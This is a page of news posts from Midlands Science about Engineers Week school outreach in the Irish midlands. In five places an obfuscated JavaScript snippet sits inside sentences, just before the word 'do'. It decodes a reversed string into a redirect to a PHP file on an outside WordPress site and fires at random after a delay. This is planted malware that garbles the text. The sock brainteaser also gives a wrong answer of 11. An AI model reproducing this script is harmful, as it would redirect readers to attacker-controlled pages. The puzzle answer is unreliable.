Students Celebrate the World of Engineering

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Primary and secondary school students and their teachers from schools across the Midlands took part in numerous activities to mark Engineers Week in March. Engineers Week, run by the Engineers Ireland STEPS (Science, Technology and Engineering Programme for Schools) celebrates the world of engineering with primary and secondary pupils the target audience. The main aim of the week was to promote engineering – and to show the importance of the profession.

 

Midlands Science (a not for profit company which promotes STEM education [Science, Technology, Engineering and Maths]) co-ordinated a programme of events in Offaly, Longford, Westmeath and Laois, in conjunction with Engineers Ireland, to celebrate the week. STEPS Engineers Week-themed lessons were conducted in classrooms across the four counties to help students discover the exciting world of engineering, and schools were able to access free engineering resources provided by the STEPS team. The detailed programme of events saw engineering professionals and third level institutions engage with their communities through classroom visits and online workshops to showcase their profession and highlighting the amazing ways engineers in Ireland are pushing boundaries of innovation.

 

CEO of Midlands Science, Jackie Gorman said: “Midlands Science promotes Engineers Week in Longford, Westmeath, Laois and Offaly through a range of outreach activities for primary and secondary schools. Engineers Week is an annual campaign to promote engineering as a career and to highlight the importance of the profession to Ireland. Students of engineering develop a valuable set of skills that serve as a strong career foundation.”

 

She added: “During Engineers week the students were afforded the opportunity to explore the creative world of engineering and the limitless opportunities a career in the sector can offer. Engineers are problem-solvers; they have a flexible, creative approach to work; and they work well in teams. These skills are highly useful in every role from technician to chief executive, and in every industry from aerospace to healthcare to software.”

 

Business Development manager of Midlands Science Pauline Nally highlighted the success of the week and congratulated all the students that participated  “It was heartening to see the wide range of companies and organisations who supported us in promoting engineering in the midlands this year. Anyone wishing to discuss further such opportunities to promote in the STEM in the year ahead is welcome to get in touch,” she said.

 

John O’Donovan, Integra LifeSciences, Tullamore, added: “We are only too happy to support Midlands Science in promoting initiatives like Engineers Week that celebrate the world of engineering. There is a demand worldwide for engineers  because they are essential to the growth and development of every country. An engineering qualification offers a chance to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do interesting work with interesting people, enhance people’s lives, and explore almost unlimited career opportunities.”

Now in its 16th year STEPS Engineers Week is funded by the Department of Education and industry leaders Wind Energy Ireland, Arup, the EPA ,ESB, Intel and Transport Infrastructure Ireland (TII).

 

“Having information about climate change available in schools is vital. Supporting the roll-out of this information through a series of Climate Change in a Box initiatives, while also marking Engineers Week, was a perfect combination for us. We are thrilled to see the enthusiasm and appetite within schools for information to help them play their part in the fight against climate change.” said Noel Cunniffe, CEO, Wind Energy Ireland

Getting ready for Engineers Week 2022

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STEPS Engineers Week, run by the Engineers Ireland STEPS programme, promotes engineering to children in Ireland. STEPS Engineers Week 2022 takes place from Saturday, 5 – Friday, 11 March. During STEPS Engineers Week, engineering is celebrated across Ireland, with primary and secondary children the target audience. The main aim of the week is to promote engineering – and to show the importance of the profession – to children in Ireland.

The Engineers Ireland STEPS programme, which promotes engineering and the importance of the profession to children in Ireland, is funded by the Department of Education and Skills and industry leaders ARUP, EPA, ESB, Intel and Transport Infrastructure Ireland (TII).

Midlands Science promotes Engineers Week in the midlands through a range of school outreach activities for primary and secondary schools. This will of course include some workshops exploring the work of the most famous movie engineer Dr Tony Stark, as we explore the Ironman Engineering with Dr Barry Fitzgerald.

Everyone can think like an engineer and engineering thinking can be applied to everyday problems. Here’s an example with socks!

There are 20 different socks, of two types, in a drawer in a completely dark room. What is the minimum number of socks you should grab to ensure you have a matching pair?

This example of brainteasers for engineers is apparently used in interviews for software engineers.

The answer is 11. If you pick up three socks they could still be all of same type, even if the odds are 50%. Odds $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not equal reality. So the only way to ‘ensure you have a matching pair’ is to pick up 11 of the 20 socks.

Electricity Fun for STEPS Engineer’s Week

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Science at Home is back! And just in time for STEPS Engineers Week! Watch Dr. Dan unleash his inner engineer and turn his bike in to an electricity genera tor that can light a room..there is also a bit of tasty, refreshing smoothie making..What flavours $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you love? How fast can Dan go? We hope you are as impressed as we were!

Don’t forget you can look back through all our episodes of Science at Home, including this week’s episode, on our YouTube channel!

#STEPSENGINEERSWEEK #STEM #believeinscience

Mullingar Students ‘Experience Engineering’ with Midlands Science

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Midlands Science teamed up with a range of local and national partners recently to host a special week of career workshops, hands on project work and inspirational talks from companies such as ORS, Robotics and Drives, Shay Murtagh, Waterways Ireland, Steripack, and Cpl resources. A number of transition year students from Coláiste Mhuire Mullingar participated in the week Experience Engineering which also focused on other various key learning aspects such as, CV preparation, interview skills and internship opportunities.

A primary objective for Midlands Science is the development and implementation of awareness-raising initiatives designed to increase science capital in the region. For this to succeed, there needs to be a more joined-up approach within the many sec tors of science, technology, engineering and mathematics (STEM) education. This includes the sharing of expertise, participation in out-of-school science learning contexts, for example how often a young person participates in informal science learning contexts and continuing to highlight the message that STEM subjects are relevant for everyone. With this in mind, participants were briefed and given the opportunity to work  as part of a project team which involved planning ideas and looking at the diversity of the field and the types of engineers that would be needed for specific engineering projects.

John Brennan, Managing Direc tor of ORS in Mullingar commented,

“Engineers and surveyors are in increasing demand in Ireland and a supply of talented graduates from both professions is fundamental for our social and economic future. ORS was delighted to support and participate in this innovative initiative to increase knowledge and understanding of the world of engineering and surveying and encourage more of our future generation to consider them as potential third level and career choices. By setting the students a hands-on challenge we hopefully encouraged them to really think about how vast engineering and surveying can be, to get creative and have fun while at the same time learn about how to find solutions to the many urban and environmental challenges that we face in society today.’

Science and engineering fields play an ever-increasing role in Ireland’s future within the global economy. Continued focus on education and training in science, technology, engineering and mathematics (STEM) will open $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors to today’s students in jobs they might not yet have even heard of. Change is happening all around us at an alarming pace in workplaces, the economy and our everyday and most of this change is driven by developments in STEM.

Jackie Gorman, CEO of Midlands Science said, ‘Through specially designed programmes like ‘Experience Engineering’  we are aiming to ensure that as many young people as possible understand the economic, cultural and environmental impact that engineering can have. We are most grateful to all of our partners who helped to make this programme so worthwhile and with their assistance and support, we hope to be in a position to continue to provide opportunities like this to more students around the region in to the future focusing on other sec tors. Pauline Nally, Business Development Executive with Midlands Science played a key role in the development of this pilot, based on feedback from students that they faced significant difficulties accessing STEM based work experiences which would help them to decide on college courses and careers for the future.’

Engineer’s Week at Killina Secondary School with NIS and AIT

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Midlands Science was delighted to deliver a number of STEM career talks to school in the Midlands as part of the national Engineers Week celebrations. One talk which took place for a large number of students in Offaly was at Killina Secondary School in Rahan.

Dr Enda Fallon of Athlone Institite of Technology (AIT) spoke to students about Engineering courses and careers and Gerry Buckley of local network and infrastructure and support firm, NIS also presented on the day so that the young people could see it from both the corporate and academic side.

Guidance Counsellor at Killina Secondary School, Breda Mann said,

‘The staff at Killina Secondary School were pleased to work with Midlands Science during ‘Engineers Week’ to deliver some very interesting talks about the world of engineering to students in Co. Offaly. We believe that it is very important to demonstrate to students the vast diversity of both science and engineering in a practical and easy to understand manner and both speakers provided this opportunity for us on the day. We had Dr Enda Fallon from Athlone Institute of Technology and Gerry Buckley from local IT company, NIS. We will actively continue to encourage our students to consider the whole field of Science, Technology, Engineering and Maths (STEM) and showing them how it impacts our lives on an everyday basis is a great way to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do this.’

Promoting Engineering and Inspiring the Next Generation

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Midlands Science teamed up with Athlone Institute of Technology (AIT) and Mergon International to deliver an inspiring career talk at Colaiste Mhuire in Mullingar last week as part of national ‘Engineers Week’ celebrations. Senior technologist, Alan Mannion spoke to students about engineering career opportunities and course options available at AIT and Padraic McDonnell of Mergon International gave an insight in to working in the engineering field, the diversity it offers and what it is like to work within this profession for a global company.

Aisling Nolan, General Manager of Mergon International said,

‘Mergon was delighted to join forces with local development company Midlands Science and Athlone Institute of Technology for Engineers Week 2018 which is a week-long festival of nationwide events celebrating the world of engineering in Ireland. It is extremely important for Mergon as an employer to provide the student population with inspiring experiences of engineering, as part of collective national quest to widen the pool of young people who will go on to join the profession in the future. We want our workshops to encourage young people to reflect, discuss and realise how they can be part of solutions needed for a vast number and diverse range of society’s challenges by becoming engineers. These workshops extend young people’s real-world understanding and it was wonderful to have this opportunity during Engineers Week ’

The annual Engineers Week event is coordinated on a national basis by Engineers Ireland’s STEPS programme which is funded under Science Foundation Ireland’s Discover programme. Midlands Science together with industry and academic partners wanted to ensure that a focus was given to encouraging young people locally to take a closer look at engineering and demonstrate how far-reaching, creative and innovative engineering actually is as a sec tor.

Jackie Gorman, CEO of Midlands Science said,

“Ireland needs more future engineers so we really need more young people to understand what the world of engineering is all about, its impact and how widely it is used in the real world. Giving students the opportunity to talk directly to engineers and engage in hands-on activities that showcase and explain engineering is at the heart of Engineers Week and we were delighted to be able to facilitate events for some local schools here in the Midlands to help inspire the next generation of engineers.’

Dr. Attracta Foley, a Chartered Civil Engineer and Senior Civil Engineering Lecturer at AIT also provided a talk in Mullingar during Engineers Week and addressed some of the students at Lore to College.

Orla Thorn ton, Direc tor of Marketing & Communications at AIT said,

‘Engineers Week is a great opportunity for AIT to collaborate with Midlands Science and our Industry partners in going out to schools within the midlands in order to showcase the best of what AIT offers in engineering. The week is a celebration of all things engineering and it is a wonderful opportunity to show young people the diverse opportunities and career paths that engineering offers and of course to encourage them to explore the world of engineering and in turn the range of programmes that the faculty of engineering and informatics offers potential students from apprenticeships, degrees right through to PhDs. As a nation we still have severe shortages in some engineering areas for example in construction related areas such as civil engineering and Quantity Surveying. Our programmes address these regional and national skills shortages and this week is a great opportunity for secondary school students to immerse themselves in to the world of engineering and all that is offers across the areas of civil and construction engineering, electronics and informatics and mechanical and polymer. All of our programmes in AIT are practically applied and industry focused and the collaboration between our industry partners such as Mergon is a great opportunity to inspire a new generation of potential engineers who will shape, design, build and au tomate for the world of tomorrow.’